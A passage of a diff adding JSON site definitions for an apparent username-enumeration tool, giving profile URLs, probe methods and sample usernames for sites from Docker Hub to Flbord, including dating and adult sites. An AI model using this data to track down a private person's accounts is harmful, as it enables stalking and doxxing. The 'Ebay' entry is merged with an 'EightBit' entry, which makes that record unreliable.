"noonewouldeverusethis7" + }, + "Docker Hub": { + "tags": [ + "coding" + ], + "urlProbe": "https://hub.docker.com/v2/users/{username}/", + "checkType": "status_code", + "alexaRank": 2797, + "urlMain": "https://hub.docker.com/", + "url": "https://hub.docker.com/u/{username}/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Dogster": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 3353807, + "urlMain": "http://dogster.ru/", + "url": "http://dogster.ru/users/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "domestika.org": { + "tags": [ + "education" + ], + "checkType": "status_code", + "usernameClaimed": "zenzuke", + "usernameUnclaimed": "noonewouldeverusethis7", + "urlMain": "https://www.domestika.org", + "url": "https://www.domestika.org/{username}" + }, + "DonatePay": { + "tags": [ + "finance", + "ru" + ], + "checkType": "response_url", + "alexaRank": 153959, + "urlMain": "https://donatepay.ru/", + "url": "https://donatepay.ru/don/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "DonationsAlerts": { + "tags": [ + "finance", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "/img/404.svg" + ], + "alexaRank": 19188, + "urlMain": "https://www.donationalerts.com/", + "url": "https://www.donationalerts.com/r/{username}", + "usernameClaimed": "r3dhunt", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Dota2": { + "disabled": true, + "tags": [ + "gaming", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442", + "\u041f\u043e\u0438\u0441\u043a \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d", + "

\u041f\u043e\u0438\u0441\u043a \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d

" + ], + "alexaRank": 54365, + "urlMain": "https://dota2.ru/", + "url": "https://dota2.ru/forum/search?type=user&keywords={username}&sort_by=username", + "usernameClaimed": "farts", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Dou": { + "tags": [ + "ua" + ], + "checkType": "status_code", + "alexaRank": 35065, + "urlMain": "https://dou.ua/", + "url": "https://dou.ua/users/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Dreamstime": { + "tags": [ + "art", + "photo", + "stock" + ], + "checkType": "status_code", + "alexaRank": 670, + "urlMain": "https://www.dreamstime.com", + "url": "https://www.dreamstime.com/{username}_info", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Dreamwidth": { + "disabled": true, + "tags": [ + "in", + "us" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "absenceStrs": [ + "isn't currently registered" + ], + "alexaRank": 24540, + "urlMain": "https://dreamwidth.org/profile", + "url": "https://{username}.dreamwidth.org/profile", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Dribbble": { + "tags": [ + "business", + "in" + ], + "regexCheck": "^[a-zA-Z][a-zA-Z0-9_-]*$", + "checkType": "message", + "absenceStrs": [ + "Whoops, that page is gone." + ], + "alexaRank": 1517, + "urlMain": "https://dribbble.com/", + "url": "https://dribbble.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Droidforums": { + "tags": [ + "forum", + "in", + "us" + ], + "errors": { + "You must be logged-in to do that.": "Login required" + }, + "engine": "XenForo", + "alexaRank": 77738, + "urlMain": "http://www.droidforums.net/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Droners": { + "tags": [ + "us" + ], + "checkType": "response_url", + "alexaRank": 150041, + "urlMain": "https://droners.io", + "url": "https://droners.io/accounts/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Dublikat": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d." + ], + "urlMain": "https://www.dublikat.shop", + "url": "https://my.dublikat.pro/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis777" + }, + "Dumpz": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 2204947, + "urlMain": "https://dumpz.ws", + "usernameClaimed": "emailx45", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Duno": { + "disabled": true, + "tags": [ + "in", + "pk" + ], + "checkType": "message", + "absenceStrs": [ + "this user does not exist" + ], + "alexaRank": 570063, + "urlMain": "https://www.duno.com/", + "url": "https://www.duno.com/profile.php?pl={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Duolingo": { + "tags": [ + "us" + ], + "urlProbe": "https://www.duolingo.com/2017-06-30/users?username={username}", + "checkType": "message", + "absenceStrs": [ + "{\"users\":[]}" + ], + "alexaRank": 578, + "urlMain": "https://duolingo.com/", + "url": "https://www.duolingo.com/profile/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "E621": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + " Not Found" + ], + "presenseStrs": [ + "<title> User" + ], + "alexaRank": 22598, + "urlMain": "https://e621.net", + "url": "https://e621.net/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ESET": { + "tags": [ + "forum", + "ru" + ], + "checkType": "status_code", + "alexaRank": 24492, + "urlMain": "https://forum.esetnod32.ru", + "url": "https://forum.esetnod32.ru/user/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "EasyEDA": { + "tags": [ + "de", + "in", + "mx", + "us" + ], + "checkType": "status_code", + "alexaRank": 33098, + "urlMain": "https://easyeda.com", + "url": "https://easyeda.com/{username}/topics", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ebay": { + "tags": [ + "shopping", + "us" + ], + "errors": { + "<title>Security Measure": "Captcha detected" + }, + "checkType": "message", + "presenseStrs": [ + "Positive feedback" + ], + "absenceStrs": [ + "EightBit: 404 Error" + ], + "urlMain": "http://eightbit.me/", + "url": "http://eightbit.me/{username}", + "usernameClaimed": "Jerrymej", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 301125 + }, + "Elakiri": { + "tags": [ + "lk" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 31670, + "urlMain": "https://elakiri.com", + "url": "https://elakiri.com/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Elftown": { + "checkType": "message", + "absenceStrs": [ + "is an unknown" + ], + "presenseStrs": [ + "created:" + ], + "url": "http://elftown.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Elixirforum": { + "tags": [ + "coding", + "forum" + ], + "engine": "Discourse", + "alexaRank": 107170, + "urlMain": "https://elixirforum.com", + "usernameClaimed": "clmay", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ello": { + "tags": [ + "in" + ], + "checkType": "message", + "absenceStrs": [ + "We couldn't find the page you're looking for" + ], + "alexaRank": 15390, + "urlMain": "https://ello.co/", + "url": "https://ello.co/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Elwo": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 452717, + "urlMain": "https://elwo.ru", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Empflix": { + "tags": [ + "de", + "fr", + "porn" + ], + "checkType": "response_url", + "alexaRank": 12547, + "urlMain": "https://www.empflix.com", + "url": "https://www.empflix.com/profile/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Empowher": { + "tags": [ + "in", + "us" + ], + "checkType": "status_code", + "alexaRank": 88180, + "urlMain": "https://www.empowher.com", + "url": "https://www.empowher.com/users/{username}", + "usernameClaimed": "susanc", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Engadget": { + "checkType": "message", + "absenceStrs": [ + ", -" + ], + "presenseStrs": [ + "- Engadget" + ], + "url": "https://www.engadget.com/about/editors/{username}/", + "usernameClaimed": "kris-holt", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Enot-poloskun": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d" + ], + "urlMain": "https://enot-poloskun.ru/", + "url": "https://enot-poloskun.ru/member.php?username={username}", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 5687119 + }, + "Envato": { + "tags": [ + "au", + "forum", + "in" + ], + "engine": "Discourse", + "alexaRank": 631, + "urlMain": "https://forums.envato.com", + "usernameClaimed": "zigro", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Eporner": { + "tags": [ + "es", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Profile not found." + ], + "presenseStrs": [ + "Dashboard" + ], + "alexaRank": 2243, + "url": "https://www.eporner.com/profile/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Erboh": { + "urlSubpath": "/forum", + "disabled": true, + "tags": [ + "forum", + "pk" + ], + "engine": "vBulletin", + "alexaRank": 2045745, + "urlMain": "https://erboh.com/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Erogen.club": { + "tags": [ + "forum", + "ru", + "ua" + ], + "engine": "XenForo", + "alexaRank": 685261, + "urlMain": "https://erogen.club", + "usernameClaimed": "yanok", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Esate": { + "tags": [ + "ru" + ], + "checkType": "message", + "alexaRank": 1077202, + "urlMain": "http://esate.ru", + "presenseStrs": [ + "
" + ], + "absenceStrs": [ + "\u0411\u043b\u043e\u0433 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "url": "http://esate.ru/blogs/{username}/", + "usernameClaimed": "Flashhell", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ethereum-magicians": { + "tags": [ + "cr", + "forum" + ], + "engine": "Discourse", + "alexaRank": 457231, + "urlMain": "https://ethereum-magicians.org", + "usernameClaimed": "amxx", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "EthicalHacker": { + "tags": [ + "in", + "us" + ], + "checkType": "status_code", + "presenseStrs": [ + "activity-loop-form" + ], + "alexaRank": 49571, + "urlMain": "https://www.ethicalhacker.net", + "url": "https://www.ethicalhacker.net/members/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ethresear": { + "tags": [ + "ch", + "cr", + "forum", + "us" + ], + "engine": "Discourse", + "alexaRank": 163214, + "urlMain": "https://ethresear.ch", + "usernameClaimed": "weijiekoh", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Etsy": { + "tags": [ + "shopping", + "us" + ], + "errors": { + "Sanctions Policy": "Site censorship", + "\u041f\u043e\u043b\u0438\u0442\u0438\u043a\u0430 \u0441\u0430\u043d\u043a\u0446\u0438\u0439": "Site censorship" + }, + "checkType": "status_code", + "alexaRank": 81, + "urlMain": "https://www.etsy.com/", + "url": "https://www.etsy.com/shop/{username}", + "usernameClaimed": "JennyKrafts", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Etxt": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 18159, + "urlMain": "https://www.etxt.ru", + "url": "https://www.etxt.ru/{username}.html", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "EuroFootball": { + "tags": [ + "ru" + ], + "checkType": "response_url", + "alexaRank": 19964, + "urlMain": "https://www.euro-football.ru", + "url": "https://www.euro-football.ru/user/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Eurogamer": { + "disabled": true, + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 3034, + "urlMain": "https://www.eurogamer.net", + "url": "https://www.eurogamer.net/profiles/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Eva": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u0430\u0441\u043f\u043e\u0440\u0442 - - \u0415\u0432\u0430.\u0420\u0443" + ], + "alexaRank": 22335, + "urlMain": "https://eva.ru/", + "url": "https://eva.ru/passport/{username}/profile.htm", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "EyeEm": { + "tags": [ + "in", + "it", + "photo", + "sd" + ], + "checkType": "message", + "absenceStrs": [ + "Not Found (404) | EyeEm" + ], + "alexaRank": 42846, + "urlMain": "https://www.eyeem.com/", + "url": "https://www.eyeem.com/u/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "EzoterikaConversion": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 6020701, + "urlMain": "http://ezoterikaconversion.ru", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "F-droid": { + "tags": [ + "forum", + "in", + "us" + ], + "engine": "Discourse", + "alexaRank": 76469, + "urlMain": "https://forum.f-droid.org", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Figma": { + "checkType": "message", + "headers": { + "User-Agent": "curl/8.6.0" + }, + "presenceStrs": [ + "twitter:title" + ], + "absenceStrs": [ + "Figma" + ], + "url": "https://www.figma.com/@{username}", + "urlMain": "https://www.figma.com/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 240, + "tags": [ + "design" + ] + }, + "8tracks.com": { + "checkType": "message", + "presenseStrs": [ + "Following" + ], + "absenceStrs": [ + "This page has vanished, or perhaps it never even existed..." + ], + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://8tracks.com/{username}" + }, + "www.adultism.com": { + "checkType": "message", + "presenseStrs": [ + "Member since" + ], + "absenceStrs": [ + "Not Found" + ], + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://www.adultism.com/profile/{username}" + }, + "architizer.com": { + "checkType": "message", + "presenseStrs": [ + "Projects" + ], + "absenceStrs": [ + "We can't seem to find the page you're looking for." + ], + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://architizer.com/users/{username}" + }, + "artfol.me": { + "checkType": "message", + "presenseStrs": [ + "About" + ], + "absenceStrs": [ + "This user does not exist" + ], + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://artfol.me/{username}" + }, + "asquero.com": { + "checkType": "message", + "presenseStrs": [ + "Tutorials" + ], + "absenceStrs": [ + "Find The Best Learning Resources" + ], + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://asquero.com/user/dashboard/{username}" + }, + "Byond": { + "absenceStrs": [ + "Announcements about BYOND's software and website." + ], + "presenseStrs": [ + "Shoutbox" + ], + "checkType": "message", + "url": "https://www.byond.com/members/{username}" + }, + "F3.cool": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 209015, + "urlMain": "https://f3.cool/", + "url": "https://f3.cool/{username}/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "F6S": { + "tags": [ + "in" + ], + "errors": { + "custom-page-main-frontpage-captcha": "Captcha detected" + }, + "checkType": "message", + "absenceStrs": [ + "Nothing to see here - 404" + ], + "presenseStrs": [ + "profile-heading" + ], + "headers": { + "Accept-Language": "en-US,en;q=0.5", + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/116.0" + }, + "alexaRank": 8897, + "urlMain": "https://f6s.com/", + "url": "https://www.f6s.com/{username}", + "usernameClaimed": "vidheeshnacode", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fabswingers": { + "checkType": "message", + "absenceStrs": [ + "The user you tried to view doesn't seem to be on the site any more" + ], + "presenseStrs": [ + "View Profile" + ], + "url": "https://www.fabswingers.com/profile/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Faktopedia": { + "checkType": "message", + "absenceStrs": [ + "Nie znaleziono u\u017cytkownika o podanym loginie." + ], + "presenseStrs": [ + "Zamieszcza fakty od:" + ], + "url": "https://faktopedia.pl/user/{username}", + "usernameClaimed": "uehkon", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fancentro": { + "checkType": "message", + "presenseStrs": [ + "FanCentro" + ], + "absenceStrs": [ + "Sorry, this page isn't available" + ], + "errors": { + "https://fancentro.com/nowar": "Site censorship" + }, + "url": "https://fancentro.com/{username}/", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fansly": { + "checkType": "message", + "presenseStrs": [ + "username" + ], + "absenceStrs": [ + "response: []" + ], + "url": "https://apiv2.fansly.com/api/v1/account?usernames={username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "FCRubin": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 8004914, + "urlMain": "https://www.fcrubin.ru", + "usernameClaimed": "flet", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fedi.lewactwo.pl": { + "checkType": "message", + "presenseStrs": [ + "@lewactwo.pl" + ], + "absenceStrs": [ + "The page you are looking for isn't here." + ], + "url": "https://fedi.lewactwo.pl/@{username}", + "usernameClaimed": "uehkon", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "FIFA FORUMS": { + "disabled": true, + "tags": [ + "forum", + "gb", + "us" + ], + "checkType": "status_code", + "alexaRank": 72093, + "urlMain": "https://fifaforums.easports.com/", + "url": "https://fifaforums.easports.com/en/profile/discussions/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Forumprawne.org": { + "checkType": "status_code", + "url": "https://forumprawne.org/members/{username}.html", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fosstodon": { + "checkType": "message", + "presenseStrs": [ + "@fosstodon.org" + ], + "absenceStrs": [ + "The page you are looking for isn't here." + ], + "url": "https://fosstodon.org/@{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fotka": { + "checkType": "message", + "presenseStrs": [ + "profil" + ], + "absenceStrs": [ + "ERROR" + ], + "url": "https://api.fotka.com/v2/user/dataStatic?login={username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Friendfinder": { + "checkType": "message", + "presenseStrs": [ + "friendfinder.com/profile/" + ], + "absenceStrs": [ + "friendfinder.com/p/register.cgi" + ], + "url": "https://friendfinder.com/profile/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Friendfinder-x": { + "checkType": "message", + "presenseStrs": [ + "s Dating Profile on FriendFinder-x" + ], + "absenceStrs": [ + "friendfinder-x.com/p/register.cgi" + ], + "url": "https://www.friendfinder-x.com/profile/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Furaffinity": { + "checkType": "message", + "presenseStrs": [ + "Userpage of" + ], + "absenceStrs": [ + "user cannot be found" + ], + "url": "https://www.furaffinity.net/user/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis9" + }, + "FUTBIN": { + "disabled": true, + "tags": [ + "de", + "forum", + "gaming", + "gb", + "us" + ], + "checkType": "status_code", + "alexaRank": 1735, + "urlMain": "https://forums.futbin.com", + "url": "https://forums.futbin.com/profile/{username}", + "usernameClaimed": "YuvalDu", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Facebook": { + "regexCheck": "^[a-zA-Z0-9_\\.]{3,49}(?<!\\.com|\\.org|\\.net)$", + "checkType": "message", + "absenceStrs": [ + "rsrcTags" + ], + "presenseStrs": [ + "first_name" + ], + "headers": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" + }, + "alexaRank": 10, + "urlMain": "https://www.facebook.com/", + "url": "https://www.facebook.com/{username}", + "usernameClaimed": "zuck", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "networking" + ] + }, + "Facenama": { + "disabled": true, + "tags": [ + "ir" + ], + "checkType": "response_url", + "alexaRank": 21122, + "urlMain": "https://facenama.com/", + "url": "https://facenama.com/{username}", + "errorUrl": "https://facenama.com/404.html", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis77" + }, + "FacultyOfMedicine": { + "tags": [ + "eg", + "forum" + ], + "engine": "XenForo", + "alexaRank": 288545, + "urlMain": "https://forum.facmedicine.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fameswap": { + "checkType": "status_code", + "url": "https://fameswap.com/user/{username}", + "usernameClaimed": "fameswap", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fandom": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 80, + "urlMain": "https://www.fandom.com/", + "url": "https://www.fandom.com/u/{username}", + "usernameClaimed": "Jungypoo", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "FandomCommunityCentral": { + "tags": [ + "wiki" + ], + "checkType": "status_code", + "alexaRank": 80, + "urlMain": "https://community.fandom.com", + "url": "https://community.fandom.com/wiki/User:{username}", + "usernameClaimed": "Red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fanlore": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 310080, + "urlMain": "http://fanlore.org", + "url": "http://fanlore.org/wiki/User:{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fanpop": { + "tags": [ + "in", + "us" + ], + "checkType": "response_url", + "alexaRank": 18642, + "urlMain": "https://www.fanpop.com/", + "url": "https://www.fanpop.com/fans/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Faqusha": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 351049, + "urlMain": "https://faqusha.ru", + "url": "https://faqusha.ru/profile/{username}/", + "usernameClaimed": "typhoon", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fark": { + "tags": [ + "forum", + "news" + ], + "checkType": "message", + "absenceStrs": [ + "Tastes like chicken." + ], + "alexaRank": 7621, + "urlMain": "https://www.fark.com/", + "url": "https://www.fark.com/users/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fatsecret": { + "tags": [ + "au", + "us" + ], + "checkType": "response_url", + "alexaRank": 26070, + "urlMain": "https://www.fatsecret.com", + "url": "https://www.fatsecret.com/member/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Favera": { + "tags": [ + "ru" + ], + "disabled": true, + "checkType": "status_code", + "alexaRank": 1225740, + "urlMain": "https://favera.ru", + "url": "https://favera.ru/{username}", + "usernameClaimed": "mayhem", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fcdin": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "ru" + ], + "engine": "phpBB", + "alexaRank": 159130, + "urlMain": "http://fcdin.com", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fclmnews": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 165498, + "urlMain": "https://fclmnews.ru", + "url": "https://fclmnews.ru/user/{username}", + "usernameClaimed": "stoker82", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fegatch": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "status_code", + "urlMain": "http://www.fegatch.com/", + "url": "http://www.fegatch.com/users/{username}/artworks/", + "usernameClaimed": "margaret-veret", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ficwad": { + "tags": [ + "gb", + "in" + ], + "checkType": "status_code", + "alexaRank": 261654, + "urlMain": "https://ficwad.com/", + "url": "https://ficwad.com/a/{username}/favorites/authors", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ficwriter": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\ufeff\u042d\u0442\u043e\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044c \u043b\u0438\u0431\u043e \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0438\u043b\u0438 \u043d\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d." + ], + "alexaRank": 2421733, + "urlMain": "https://ficwriter.info", + "url": "https://ficwriter.info/polzovateli/userprofile/{username}.html", + "usernameClaimed": "Zinaida", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fifasoccer": { + "urlSubpath": "/forum", + "disabled": true, + "tags": [ + "forum", + "ru", + "ua" + ], + "engine": "vBulletin", + "alexaRank": 2241715, + "urlMain": "http://fifasoccer.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "FilmWeb": { + "tags": [ + "movies", + "pl" + ], + "checkType": "message", + "absenceStrs": [ + "top.location.href = '/404';" + ], + "alexaRank": 4157, + "urlMain": "https://www.filmweb.pl/user/adam", + "url": "https://www.filmweb.pl/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Filmogs": { + "disabled": true, + "tags": [ + "movies" + ], + "checkType": "status_code", + "urlMain": "https://www.filmo.gs/", + "url": "https://www.filmo.gs/users/{username}", + "usernameClaimed": "cupparober", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Filmow": { + "tags": [ + "br", + "pt" + ], + "checkType": "status_code", + "alexaRank": 41121, + "urlMain": "https://filmow.com/", + "url": "https://filmow.com/usuario/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Filmwatch": { + "tags": [ + "ca", + "in", + "pk", + "us" + ], + "checkType": "status_code", + "alexaRank": 212729, + "urlMain": "https://filmwatch.com", + "url": "https://filmwatch.com/user/home/{username}", + "usernameClaimed": "hazelamy", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Finanzfrage": { + "checkType": "status_code", + "url": "https://www.finanzfrage.net/nutzer/{username}", + "usernameClaimed": "finanzfrage", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Finforum": { + "tags": [ + "forum", + "ru", + "us", + "vn" + ], + "engine": "XenForo", + "alexaRank": 327592, + "urlMain": "https://finforum.net", + "usernameClaimed": "tropical", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Firearmstalk": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 526339, + "urlMain": "https://www.firearmstalk.com", + "url": "https://www.firearmstalk.com/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fireworktv": { + "tags": [ + "in", + "jp" + ], + "checkType": "message", + "absenceStrs": [ + "<title>Firework" + ], + "alexaRank": 132082, + "urlMain": "https://fireworktv.com", + "url": "https://fireworktv.com/ch/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fishingsib": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "alexaRank": 67134, + "urlMain": "https://www.fishingsib.ru/", + "url": "https://www.fishingsib.ru/forum/members/?username={username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fiverr": { + "tags": [ + "shopping", + "us" + ], + "checkType": "response_url", + "alexaRank": 153, + "urlMain": "https://www.fiverr.com/", + "url": "https://www.fiverr.com/{username}", + "errorUrl": "https://www.fiverr.com/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "Flashflashrevolution": { + "tags": [ + "us" + ], + "checkType": "response_url", + "alexaRank": 78934, + "urlMain": "http://www.flashflashrevolution.com", + "url": "http://www.flashflashrevolution.com/profile/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Flbord": { + "tags": [ + "ru", + "ua" + ], + "checkType": "status_code", + "alexaRank": 